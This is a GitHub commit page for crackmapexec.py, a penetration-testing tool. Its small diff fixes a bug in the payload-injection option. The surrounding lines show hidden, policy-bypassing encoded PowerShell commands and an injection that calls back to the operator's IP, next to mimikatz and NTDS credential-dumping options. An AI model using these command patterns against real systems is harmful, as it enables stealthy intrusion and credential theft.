Skip to content
This repository was archived by the owner on Dec 6, 2023. It is now read-only.

Commit 659baf3

Browse files
author
byt3bl33d3r
committed
Fixed bug where injecting would cause the script to exit prematurely
Specified inject command to have no output
1 parent 5682431 commit 659baf3

File tree

1 file changed

+2
-1
lines changed

1 file changed

+2
-1
lines changed

crackmapexec.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2560,6 +2560,7 @@ def connect(host):
25602560
args.command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(ps_command(command=args.pscommand))
25612561

25622562
if args.inject:
2563+
noOutput = True
25632564
args.command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(inject_pscommand(local_ip))
25642565

25652566
if args.command:
@@ -2771,7 +2772,7 @@ def concurrency(hosts):
27712772

27722773
concurrency(hosts)
27732774

2774-
if args.mimikatz or args.ntds == 'ninja':
2775+
if args.mimikatz or args.inject or args.ntds == 'ninja':
27752776
try:
27762777
while True:
27772778
sleep(1)

0 commit comments

Comments
 (0)